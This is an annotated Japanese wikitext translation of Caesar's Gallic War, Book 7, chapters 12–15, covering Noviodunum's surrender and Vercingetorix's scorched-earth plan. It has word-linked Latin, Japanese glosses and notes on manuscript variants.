**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　&amp;alpha;系写本では [[wikt:en:destitit|destitit]]&lt;sub&gt;&amp;nbsp;(完了形)&lt;/sub&gt; だが、&lt;br&gt;　　　　　&amp;beta;系写本や印刷本では [[wikt:en:desistit#Latin|desistit]]&lt;sub&gt;&amp;nbsp;(現在形)&lt;/sub&gt; となっている。）&lt;/span&gt;
*atque [[wikt:en:obviam#Adverb|obviam]] Caesari [[wikt:en:proficiscitur|proficiscitur]]. 
**カエサルの方に向かって進発する。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Ille oppidum [[wikt:en:Biturigēs|Biturigum]] [[wikt:en:positus#Latin|positum]] in via [[wikt:en:Noviodunum#Latin|Noviodunum]] [[wikt:en:oppugnare#Latin|oppugnare]] [[wikt:en:instituerat|instituerat]]. 
**彼&lt;small&gt;〔カエサル〕&lt;/small&gt;は、途中に位置しているビトゥリゲース族の[[w:オッピドゥム|城塞都市]]ノウィオドゥーヌムの攻略を決めていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：どこへの途中なのか明記されていないため、その解釈により場所についての解釈が変わるようである。）&lt;/span&gt;
:　
;　　　カエサルの城塞都市ノウィオドゥーヌムへの降伏条件
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:qui#Determiner|Quo]] ex oppido 
**その城塞都市から
*cum legati ad eum [[wikt:en:venissent|venissent]] [[wikt:en:oratum#Verb|oratum]] ut sibi [[wikt:en:ignosceret|ignosceret]] suaeque vitae [[wikt:en:consuleret|consuleret]], 
**使節たちが彼&lt;small&gt;〔カエサル〕&lt;/small&gt;のもとへ、自分たちを容赦して生命を助けるように嘆願するために、やって来たときに、
*ut celeritate reliquas res [[wikt:en:conficeret|conficeret]], [[wikt:en:qui#Determiner|qua]] [[wikt:en:pleraque#Latin|pleraque]] erat [[wikt:en:consecutus#Latin|consecutus]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;多くのことを実行してきた迅速さによって、ほかの事を成し遂げるために、
*arma [[wikt:en:conferri|conferri]], 
**武具が運び集められること、
*[[wikt:en:quus#Latin|equos]] [[wikt:en:produci#Verb_2|produci]], 
**馬匹が引き渡されること、
*obsides [[wikt:en:dari#Latin|dari]] [[wikt:en:iubet#Latin|iubet]]. 
**人質が供出されること、を命じる。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Parte iam obsidum [[wikt:en:traditus#Participle|tradita]], 
**すでに人質の一部が移送されて、
*cum [[wikt:en:reliqua#Latin|reliqua]] [[wikt:en:administrarentur|administrarentur]], 
**残り&lt;small&gt;（の人質たち）&lt;/small&gt;が処置されていたときに、
*[[wikt:en:centurio#Latin|centurionibus]] et paucis [[wikt:en:miles#Latin|militibus]] [[wikt:en:intromissus#Latin|intromissis]], qui arma [[wikt:en:iumentum#Latin|iumenta]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:conquirerent|conquirerent]], 
**&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちや若干の兵士たちが、武器や[[w:使役動物|役畜]]を探し集めるべく&lt;small&gt;（城塞都市の中に）&lt;/small&gt;送り込まれていたのだが、
*[[wikt:en:equitatus#Noun|equitatus]] hostium procul [[wikt:en:visus#Latin|visus]] est, qui [[wikt:en:agmen#Latin|agmen]] [[wikt:en:Vercingetorix#Latin|Vercingetorigis]] [[wikt:en:antecesserat|antecesserat]]. 
**ウェルキンゲトリークスの隊列に先行していた敵の[[w:騎兵|騎兵隊]]が遠くに望見された。
:　
;　　　ウェルキンゲトリークスの来援に気づいた城塞の者たちが、籠城に転じる
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Quem [[wikt:en:simulatque|simulatque]] [[wikt:en:oppidanus#Noun|oppidani]] [[wikt:en:conspexerunt|conspexerunt]] atque in [[wikt:en:spes#Latin|spem]] [[wikt:en:auxilium#Latin|auxilii]] [[wikt:en:venerunt|venerunt]], 
**それ&lt;small&gt;&lt;/small&gt;を城塞都市の者たちが視認して、救援の希望を抱くや否や、
*[[wikt:en:clamor#Latin|clamore]] [[wikt:en:sublatus#Etymology_1|sublato]] 
**雄叫びを上げて、
*arma capere, 
**武具を取ること、
*portas [[wikt:en:claudere#Etymology_1|claudere]], 
**城門を閉じること、
*[[wikt:en:murus#Latin|murum]] [[wikt:en:complere|complere]] [[wikt:en:coeperunt|coeperunt]]. 
**城壁を&lt;small&gt;（兵で）&lt;/small&gt;満たすこと、を始めた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：sublato は　[[wikt:en:tollo|tollo]] の分詞）&lt;/span&gt;
:　&lt;!--　[[wikt:en:|　--&gt;
;　　　城塞民たちの心変わりに感づいたローマ人の将兵たちが城外に撤収する
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; [[wikt:en:centurio#Latin|Centuriones]] in oppido, 
**城塞都市の中の&lt;small&gt;（カエサルの配下の）&lt;/small&gt;百人隊長たちは、
*cum ex [[wikt:en:significatio#Latin|significatione]] Gallorum [[wikt:en:novus#Latin|novi]] [[wikt:en:aliquis#Latin|aliquid]] ab iis [[wikt:en:iniri#Latin|iniri]] consilii [[wikt:en:intellexissent|intellexissent]], 
**ガッリア人たちの兆候から、彼らによる何らかの新たな謀りごとが始められていると察知していたので、
*[[wikt:en:gladius#Latin|gladiis]] [[wikt:en:destrictus#Latin|destrictis]] 
**&lt;ruby&gt;&lt;rb&gt;[[w:グラディウス (武器)|長剣]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;グラディウス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を抜いて、
*portas [[wikt:en:occupaverunt|occupaverunt]] 
**城門を占拠して、
*suosque omnes [[wikt:en:incolumis#Latin|incolumes]] [[wikt:en:receperunt|receperunt]].
**配下たち皆を無傷なままで退却させた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===13節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/13節]]　{{進捗|00%|2026-02-15}}&lt;/span&gt;
[[画像:Caesar's_campaign_to_Noviodunum_in_52BC.png|thumb|right|250px|ノウィオドゥーヌムに至るカエサルの進路（青線）および[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の進路（赤線）。青字名は親ローマ部族、赤字名は反ローマ部族。カエサルはアゲディンクムを発してからウェッラウノドゥーヌム、ケナブム、ノウィオドゥーヌムを続けて降し、ボイイー族のゴルゴビナ攻略を諦めたウェルキンゲトリークスもノウィオドゥーヌム来援に駆けつけて来た。ここに、初めて両軍が騎兵戦で激突することになった。]]

;同盟軍の騎兵を撃退、城塞都市を再び降して、アウァーリクム攻めに向かう
:　
;　　　カエサルが、騎兵戦の切り札としてゲルマーニア騎兵を繰り出す
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Caesar ex castris [[wikt:en:equitatus#Latin|equitatum]] [[wikt:en:educi#Latin|educi]] [[wikt:en:iubet#Latin|iubet]], 
**カエサルは、陣営から[[w:騎兵|騎兵隊]]を進発させることを命じて、
*&lt;u&gt;[[wikt:en:proelium#Latin|proelium]]&lt;/u&gt; [[wikt:en:equester#Latin|equestre]] [[wikt:en:committit|committit]]; 
**&lt;small&gt;（ウェルキンゲトリークス勢と）&lt;/small&gt;騎兵戦を交える。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　&amp;alpha;系写本では proelium だが、&lt;br&gt;　　　　　&amp;beta;系写本では proelium&lt;u&gt;que&lt;/u&gt; となっている。）&lt;/span&gt;
*[[wikt:en:laborans#Latin|laborantibus]] iam suis 
**配下の者たちがすでに苦戦していたときに、
*[[wikt:en:Germanus#Adjective|Germanos]] [[wikt:en:eques#Latin|equites]] circiter CCCC([[wikt:en:quadringentos|quadringentos]]) [[wikt:en:submittit|submittit]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;[[w:ゲルマニア|ゲルマーニア]]人の騎兵たち約400騎を救援に派遣する。
*quos ab [[wikt:en:initium#Latin|initio]] &lt;u&gt;habere [[wikt:en:secum#Latin|secum]]&lt;/u&gt; [[wikt:en:instituerat|instituerat]]. 
**その者らは&lt;small&gt;（戦いの）&lt;/small&gt;当初から自分のそばに保持すると決めていたものであった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　&amp;chi;系･B･M･S写本では habere secum だが、&lt;br&gt;　　　　　&amp;beta;系･L･N写本では secum habere となっている。）&lt;/span&gt;
:　
;　　　ゲルマーニア騎兵が、ウェルキンゲトリークス配下の騎兵を一蹴する
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Eorum [[wikt:en:impetus#Latin|impetum]] [[wikt:en:Galli#Latin|Galli]] [[wikt:en:sustineo#Latin|sustinere]] non [[wikt:en:potuerunt|potuerunt]] 
**彼ら&lt;small&gt;〔ゲルマーニア人騎兵〕&lt;/small&gt;の突撃に&lt;small&gt;（敵側の）&lt;/small&gt;ガッリア人たちは持ちこたえることができず、
*atque in fugam [[wikt:en:coniectus#Participle|coniecti]] 
**敗走に追いやられて、
*multis [[wikt:en:amissus#Latin|amissis]] 
**大勢の者を失い、
*se ad [[wikt:en:agmen#Latin|agmen]] [[wikt:en:receperunt|receperunt]]. 
**&lt;small&gt;（後方にいたウェルキンゲトリークスの）&lt;/small&gt;隊列に退却した。
:　
;　　　城塞都市ノウィオドゥーヌムがカエサルの軍門に降る
*Quibus [[wikt:en:profligatus#Latin|profligatis]], 
**彼ら&lt;small&gt;〔ウェルキンゲトリークスの騎兵隊〕&lt;/small&gt;が制圧されると、
*rursus [[wikt:en:oppidanus#Noun|oppidani]] [[wikt:en:perterritus#Latin|perterriti]] 
**[[w:オッピドゥム|城塞都市]]&lt;small&gt;〔ノウィオドゥーヌム〕&lt;/small&gt;の者たちは再び怖れをなして、
*[[wikt:en:comprehensus#Latin|comprehensos]] eos, quorum [[wikt:en:opera#Latin|opera]] [[wikt:en:plebs#Latin|plebem]] [[wikt:en:concitatus#Latin|concitatam]] [[wikt:en:existimabant|existimabant]], 
**その働きかけによって民衆を扇動したと&lt;small&gt;（城塞の民が）&lt;/small&gt;考えていたところの者たちを拘束して、
*ad Caesarem [[wikt:en:perduxerunt|perduxerunt]] 
**カエサルのもとへ連行して、
*seseque ei [[wikt:en:dediderunt|dediderunt]]. 
**自分たちも彼&lt;small&gt;〔カエサル〕&lt;/small&gt;に降伏した。

:　&lt;!--　[[wikt:en:|　--&gt;
;　　　カエサルが、ビトゥリゲース族の城塞都市アウァーリクムを目指す
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Quibus rebus [[wikt:en:confectus#Latin|confectis]], 
**それらの事が成し遂げられると、
*Caesar ad oppidum [[wikt:en:Avaricum#Latin|Avaricum]], 
**カエサルは、[[w:オッピドゥム|城塞都市]]アウァーリクムへ、
*quod erat [[wikt:en:maximus#Latin|maximum]] [[wikt:en:munitissimus#Latin|munitissimum]]&lt;nowiki&gt;que&lt;/nowiki&gt; in finibus [[wikt:en:Bituriges#Latin|Biturigum]] atque [[wikt:en:ager#Latin|agri]] [[wikt:en:fertilissimus#Latin|fertilissima]] [[wikt:en:regio#Latin|regione]], 
**──それはビトゥリゲース族の領土で耕地の最も肥沃な地方にあり、最大かつ最も要塞化されていたが、──
*[[wikt:en:profectus#Etymology_3|profectus]] est, 
**&lt;small&gt;（そこへ）&lt;/small&gt;出発した。
*quod eo oppido [[wikt:en:receptus#Latin|recepto]] 
**──というのは、その城塞都市を獲得することで、
*[[wikt:en:civitas#Latin|civitatem]] [[wikt:en:Bituriges#Latin|Biturigum]] se in [[wikt:en:potestas#Latin|potestatem]] [[wikt:en:redacturus#Latin|redacturum]] [[wikt:en:confidebat|confidebat]].
**ビトゥリゲースの部族国家を&lt;small&gt;（カエサルの）&lt;/small&gt;隷下に引き戻すであろうと、確信していたからである──。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

==アウァーリクム攻略戦==
===14節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/14節]]　{{進捗|00%|2026-03-08}}&lt;/span&gt;
;ウェルキンゲトリークスが兵站妨害と焦土戦術を決断
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]] tot [[wikt:en:continuus#Latin|continuis]] [[wikt:en:incommodum#Latin|incommodis]] [[wikt:en:Vellaunodunum#Latin|Vellaunoduni]], [[wikt:en:Genabum#Latin|Cenabi]], [[wikt:en:Noviodunum#Latin|Novioduni]] [[wikt:en:acceptus#Latin|acceptis]] 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、ウェッラウノドゥーヌム、ケナブム、ノウィオドゥーヌムと、このような多くの引き続く敗北をこうむると、
*suos ad [[wikt:en:concilium#Latin|concilium]] [[wikt:en:convocat#Latin|convocat]]. 
**麾下の者たちを会合へ召集する。

:　&lt;!--　[[wikt:en:|　--&gt;
;　　　ウェルキンゲトリークスが、ローマ勢の糧道を断つことを提言
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:docet|Docet]] longe alia ratione esse bellum [[wikt:en:gerendus#Latin|gerendum]] atque antea [[wikt:en:gestus#Participle|gestum]] sit. 
**以前に遂行されていたのとはまったく別の作戦で戦争が遂行されるべきである、と説く。
*Omnibus [[wikt:en:modus#Latin|modis]] huic rei studendum, ut [[wikt:en:pabulatio#Latin|pabulatione]] et [[wikt:en:commeatus#Noun|commeatu]] Romani [[wikt:en:prohibeantur|prohibeantur]]. 
**ローマ人たちが[[w:糧秣|糧秣]]徴発と物資輸送を妨げられるべく、この事をあらゆる方法で追求するべきだ。

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Id esse facile, 
**そのことは、容易である。
*quod [[wikt:en:equitatus#Latin|equitatu]] ipsi [[wikt:en:abundent#Latin|abundent]] 
**というのは&lt;small&gt;（我々ガッリア勢）&lt;/small&gt;自身は[[w:騎兵|騎兵隊]]がたくさんおり、
*et quod anni tempore [[wikt:en:subleventur|subleventur]]. 
**&lt;small&gt;（冬という）&lt;/small&gt;時季に支えられているのだから。
:　
;　　　ローマ人が穀物倉に群がるところを騎兵で襲撃するべし
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:pabulum#Latin|Pabulum]] [[wikt:en:secari|secari]] non posse; 
**&lt;small&gt;（この時季には）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;[[w:秣|秣]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;まぐさ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; は刈り取られることができない。
*[[wikt:en:necessario#Adverb|necessario]] [[wikt:en:dispersus#Latin|dispersos]] hostes ex [[wikt:en:aedificium#Latin|aedificiis]] [[wikt:en:petere|petere]]; 
**敵たち&lt;small&gt;〔ローマ勢〕&lt;/small&gt;はやむなく分散して、家屋から&lt;small&gt;（糧秣を）&lt;/small&gt;求める。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ほとんどの会話が間接話法を採る本書で、&lt;br&gt;　　　　ローマ勢が「敵」hostes と表現されることは極めてまれである。）&lt;/span&gt;
*hos omnes [[wikt:en:cotidie#Latin|cotidie]] ab [[wikt:en:eques#Latin|equitibus]] &lt;u&gt;deleri&lt;/u&gt; posse. 
**これら皆を日々に&lt;small&gt;（ガッリア側の）&lt;/small&gt;騎兵隊によって壊滅させることができる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では [[wikt:en:deleri|deleri]]「滅ぼされる」だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では [[wikt:en:diligi#Latin|diligi]]「分断される」となっている。）&lt;/span&gt;
:　
;　　　焦土戦術をもって、ローマ人と軍馬を飢えさせるべし
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Praeterea [[wikt:en:salus#Latin|salutis]] causa rei [[wikt:en:familiaris#Adjective|familiaris]] [[wikt:en:commodum#Latin|commoda]] [[wikt:en:neglegendus#Latin|neglegenda]]; 
**さらに&lt;small&gt;（同盟諸部族に共通の）&lt;/small&gt;安全のために、私有資産の利益はなおざりにされるべきだ。
*[[wikt:en:vicus#Latin|vicos]] atque [[wikt:en:aedificium#Latin|aedificia]] [[wikt:en:incendi#Verb_2|incendi]] [[wikt:en:oportet#Latin|oportere]] 
**&lt;small&gt;（以下のような領域の）&lt;/small&gt;村々や建物は焼かれるべきだ。
*hoc spatio ab Boia quoque versus, quo [[wikt:en:pabulandi#Verb|pabulandi]] causa [[wikt:en:adire#Latin|adire]] posse [[wikt:en:videantur|videantur]]. 
**[[w:ボイイ族|ボイイー族]]のところから四方八方へ糧秣徴発するために赴くことができると思われる領域では。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：主要写本&amp;omega; にある ab Boia「ボイイー族のところから」は、&lt;br&gt;　　　　現代では「街道から」ab via と修正読みされることが多い。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:quoque#Latin|quōque]] [[wikt:en:versus#Adverb|versus]] ＝ [[wikt:en:quisque#Latin|quōquō]] versus「あらゆる方向へ」）&lt;/span&gt;
[[画像:Eglise_saint_parize_le_chatel.jpg|thumb|right|250px|ボイイ族（Boii）の領内であったと思われる現在のサン＝パリーズ＝ル＝シャテルの教会。ボイイー族の首邑ゴルゴビナは、[[w:ニエーヴル県|ニエーヴル県]]のサン＝パリーズ＝ル＝シャテル（[[w:en:Saint-Parize-le-Châtel|Saint-Parize-le-Châtel]]）あるいは[[w:シェール県|シェール県]]のラ・ゲルシュ＝スュル＝ローボワ（[[w:en:La Guerche-sur-l'Aubois|La Guerche-sur-l'Aubois]]）の近辺にあったと推定されている。]]
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Harum ipsis rerum copiam [[wikt:en:suppeto#Latin|suppetere]], 
**&lt;small&gt;（ガッリア勢）&lt;/small&gt;自身には、これらの物は、豊富に貯えてある。
*quod quorum in finibus bellum [[wikt:en:geratur|geratur]], eorum [[wikt:en:ops#Noun_4|opibus]] [[wikt:en:subleventur|subleventur]]; 
**──というのは、戦争が遂行される領土内の者たちの、彼らの助力に支えられているからだ。──
:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; Romanos &lt;u&gt;aut&lt;/u&gt; [[wikt:en:inopia#Latin|inopiam]] non [[wikt:en:laturus#Latin|laturos]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;
**ローマ人たちは、あるいは&lt;small&gt;（糧食の）&lt;/small&gt;欠乏に耐えられないであろうし、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:aut#Latin|aut]] ～ aut …「あるいは～あるいは…」）&lt;/span&gt;
*&lt;u&gt;aut&lt;/u&gt; magno &lt;u&gt;cum&lt;/u&gt; periculo longius &lt;u&gt;ab&lt;/u&gt; castris [[wikt:en:processurus#Latin|processuros]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;; 
**あるいは大きな危険とともに陣営からより遠くに進み出るであろう。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：cum は、&amp;rho;系写本・写本Tの記述で、&lt;br&gt;　　　　　　　　&amp;alpha;系写本・写本Vにはない。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ab は、&amp;alpha;系・&amp;rho;系写本・写本Vの記述で、写本Tでは a となっている。）&lt;/span&gt;
:　
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; neque [[wikt:en:interesse#Latin|interesse]], ipsos&lt;u&gt;ne&lt;/u&gt; [[wikt:en:interficiant|interficiant]], [[wikt:en:impedimentum#Latin|impedimentis]]&lt;u&gt;&lt;nowiki&gt;ne&lt;/nowiki&gt;&lt;/u&gt; [[wikt:en:exuant|exuant]], 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;当人たちを殺戮するか、輜重を奪い取るか、&lt;small&gt;（どちらであろうが）&lt;/small&gt;違いはない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:-ne#Latin|-ne]] は疑問小辞。～ -ne, … -ne 「～か、…か」）&lt;/span&gt;
*quibus [[wikt:en:amissus#Latin|amissis]] bellum [[wikt:en:geri#Latin|geri]] non [[wikt:en:possit|possit]]. 
**それら&lt;small&gt;〔輜重〕&lt;/small&gt;を失えば、戦争を遂行することができないのだから。
:　
*&lt;!--❾--&gt;&lt;sup&gt;(9)&lt;/sup&gt; Praeterea oppida [[wikt:en:incendi#Verb_2|incendi]] [[wikt:en:oportet#Latin|oportere]], 
**さらに、&lt;small&gt;（以下のような）&lt;/small&gt;[[w:オッピドゥム|城塞都市]]は焼かれなければならない。
*quae non [[wikt:en:munitio#Latin|munitione]] et loci natura &lt;u&gt;ab omni&lt;/u&gt; sint &lt;u&gt;periculo&lt;/u&gt; [[wikt:en:tutus#Latin|tuta]], 
**防塁や地勢によってあらゆる危険から守られていない&lt;small&gt;（城塞都市は）&lt;/small&gt;。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ab [[wikt:en:omni#Latin|omni]] [[wikt:en:periculum#Latin|periculo]] 「あらゆる危険から」）&lt;/span&gt;
*&lt;u&gt;neu&lt;/u&gt; suis sint ad &lt;u&gt;detrectandam&lt;/u&gt; [[wikt:en:militia#Latin|militiam]] [[wikt:en:receptaculum#Latin|receptacula]] 
**麾下の者たちにとっては&lt;small&gt;（城塞都市が）&lt;/small&gt;[[w:兵役逃れ|兵役を忌避すること]]のための隠れ場所になることがないように、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:neu#Latin|neu]] は &amp;alpha;系写本の記述で、&amp;beta;系写本では [[wikt:en:ne#Latin|ne]] となっている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:detrectandam|detrectandam]] は &amp;alpha;系・&amp;rho;系写本の表記で、&amp;pi;系写本では [[wikt:en:detractandam|detractandam]] となっている。）&lt;/span&gt;
*neu [[wikt:en:Romani#Latin|Romanis]] [[wikt:en:propositus#Latin|proposita]] ad [[wikt:en:copia#Latin|copiam]] [[wikt:en:commeatus#Noun|commeatus]] [[wikt:en:praeda#Latin|praedam]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:tollendus#Latin|tollendam]], 
**ローマ人たちにとって&lt;small&gt;（城塞都市が）&lt;/small&gt;豊富な物資や戦利品を奪うための置き場所ともならないように。
:　
*&lt;!--❿--&gt;&lt;sup&gt;(10)&lt;/sup&gt; Haec si [[wikt:en:gravis#Latin|gravia]] aut [[wikt:en:acerbus#Latin|acerba]] [[wikt:en:videantur|videantur]], 
**もし、これら&lt;small&gt;（の作戦）&lt;/small&gt;が厳しい、または苦しいと見えるとしても、
*multo illa [[wikt:en:graviter#Latin|gravius]] &lt;u&gt;aestimare&lt;/u&gt;, [[wikt:en:liber#Noun_6|liberos]], [[wikt:en:coniunx#Latin|coniuges]] in [[wikt:en:servitus#Latin|servitutem]] [[wikt:en:abstrahi|abstrahi]], ipsos [[wikt:en:interfici|interfici]]; 
**それより、子供や配偶者たちが奴隷状態で連れ去られ、自身が殺されることの方が、はるかに厳しいと判断されるべきだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:aestimare|aestimare]] だが、 &lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:aestimari|aestimari]] [[wikt:en:debere|debere]] となっている。）&lt;/span&gt;
*quae sit [[wikt:en:necesse#Latin|necesse]] [[wikt:en:accido#Etymology_1|accidere]] [[wikt:en:victus#Participle|victis]].
**それらのことは、打ち負かされた者たちには、起こることが必然なのである。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===15節===
[[画像:Bourges_-_002_-_Low_Res.jpg|thumb|right|300px|'''アウァーリクム'''（Avaricum）すなわちビトゥリゲース族（Bituriges）の名を残すともいわれる現在の[[w:ブールジュ|ブールジュ]]（Bourges）の[[w:サン＝テチエンヌ大聖堂 (ブールジュ)|サン＝テティエンヌ大聖堂]]（[[w:世界遺産|世界遺産]]）。この街はガッリア時代からこの地方の中心的な城塞都市であり、現代ではそれほど大都会ではないが、世界遺産の大聖堂や音楽祭などで広く知られている。]]
[[画像:Bourges.JPG|thumb|right|300px|アウァーリクムすなわち[[w:ブールジュ|ブールジュ]]の大聖堂から眺めた街並み。'''ビトゥリゲース族'''はかつてはイタリア北部に移住したこともある強大な部族で、この当時はブルディガラ（Burdigala：現在の[[w:ボルドー|ボルドー]]）周辺にいたビトゥリゲース・ウィウィスキ族（Bituriges Vivisci）およびアウァーリクム周辺にいた'''ビトゥリゲース・クビ族'''（Bituriges Cubi）の二派に分かれていた。『ガリア戦記』に登場するのはビトゥリゲース・クビ族の方である。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/15節]]　{{進捗|00%|2026-03-08}}&lt;/span&gt;

;焦土戦術開始、しかしアウァーリクムの防衛を決定
:　
;　　　焦土戦術として、ビトゥリゲース族の街々が焼かれる
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Omnium [[wikt:en:consensus#Latin|consensu]] 
**&lt;small&gt;（会合の参加者）&lt;/small&gt;全員の合意により
*hac [[wikt:en:sententia#Latin|sententia]] [[wikt:en:probatus#Latin|probata]], 
**&lt;small&gt;（ウェルキンゲトリークスの）&lt;/small&gt;この意向が承認されると、
*uno die [[wikt:en:amplius|amplius]] [[wikt:en:viginti|viginti]]&lt;sub&gt; (XX)&lt;/sub&gt; [[wikt:en:urbs#Latin|urbes]] [[wikt:en:Bituriges#Latin|Biturigum]] [[wikt:en:incenduntur|incenduntur]]. 
**一日で、20より多いビトゥリゲース族の街々が焼かれる。
:　
;　　　ほかの諸部族の街々も焼かれる
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Hoc idem fit in reliquis [[wikt:en:civitas#Latin|civitatibus]]: 
**これと同じことが、ほかの諸部族でも行なわれて、
*in omnibus partibus 
**あらゆる方面において、
*[[wikt:en:incendium#Latin|incendia]] [[wikt:en:conspiciuntur|conspiciuntur]]; 
**炎上が望見される。
*quae &lt;u&gt;etsi&lt;/u&gt; magno cum [[wikt:en:dolor#Latin|dolore]] omnes [[wikt:en:ferebant|ferebant]], 
**それらの皆が大きな悲嘆とともに耐えていたとしても、
*&lt;u&gt;tamen&lt;/u&gt; hoc sibi [[wikt:en:solacium#Latin|solacii]] [[wikt:en:proponebant|proponebant]], 
**しかし、自分らにとっての&lt;small&gt;（以下の）&lt;/small&gt;慰めを抱いていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:etsi#Latin|etsi]] ～ [[wikt:en:tamen#Latin|tamen]] …&lt;br&gt;　　　　「～としても、にもかかわらず…」）&lt;/span&gt;
*quod se prope [[wikt:en:exploratus#Latin|explorata]] [[wikt:en:victoria#Latin|victoria]] 
**勝利はほぼ確実なものとされて、
*celeriter [[wikt:en:amissus#Latin|amissa]] [[wikt:en:reciperaturus#Latin|reciperaturos]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt; 
**失ったものを速やかに回復するであろう、
*[[wikt:en:confidebant|confidebant]]. 
**と確信していたことである。
:　
;　　　アウァーリクムは、焦土戦術か、それとも防衛すべきか？
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:deliberatur|Deliberatur]] de [[wikt:en:Avaricum#Latin|Avarico]] in [[wikt:en:communis#Latin|communi]] [[wikt:en:concilium#Latin|concilio]], [[wikt:en:incendi#Latin|incendi]] &lt;u&gt;placeret&lt;/u&gt; an [[wikt:en:defendi#Latin|defendi]]. 
**合同の会合において、アウァーリクムについて (も) 焼き討ちが良いか、あるいは防衛か、が吟味される。
